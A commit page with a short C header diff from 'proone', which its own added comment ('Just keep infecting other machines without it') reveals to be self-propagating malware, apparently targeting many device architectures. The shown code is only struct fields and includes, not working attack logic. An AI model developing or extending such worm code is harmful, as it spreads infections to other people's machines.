diff options
author | David Timber <mieabby@gmail.com> | 2020-08-17 18:16:49 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-08-17 18:35:31 +0930 |
commit | 7bd3eb3b1ad4209ac4cf4b46f849213d46bc33aa (patch) | |
tree | 0e7a16fb3d36ada8a2a494f8dc063e8b67350d58 /src/proone.h | |
parent | d7cc11191dfd3fead5e596fcbc24f40d1317819e (diff) |
Employ pthsem ...
* Use uint8_t array for hardcoded binary data
* Add proone-ipaddr-arr to hardcode DoT servers
* Convert X509 data
* Brought back M68k and ARC archs just in case
* Add CLOCK_REALTIME in prne_mbedtls_entropy_proc_src_f for more entropy
* Remove installation of signal handlers. Use sigwait() instead
* Bugfix: prne_rnd_anum_str() returned null characters
* Add prne_dbgpf() and prne_dbgperr()
* prne_assert(): put errno into a register so it's visible in the core dump
Diffstat (limited to 'src/proone.h')
-rw-r--r-- | src/proone.h | 10 |
1 files changed, 7 insertions, 3 deletions
diff --git a/src/proone.h b/src/proone.h index d0cb48e..1516e56 100644 --- a/src/proone.h +++ b/src/proone.h @@ -1,5 +1,6 @@ +#pragma once #include "pack.h" -#include "resolv_worker.h" +#include "resolv.h" #include <stdint.h> #include <stdbool.h> @@ -20,8 +21,11 @@ struct prne_global { uint_fast64_t run_cnt; uint8_t boot_id[16]; uint8_t instance_id[16]; - prne_resolv_wkr_ctx_t resolv; - int caught_signal; + pth_t main_pth; + /* + * Could be NULL. Just keep infecting other machines without it. + */ + prne_resolv_t *resolv; pid_t parent_pid; pid_t child_pid; int lock_shm_fd; |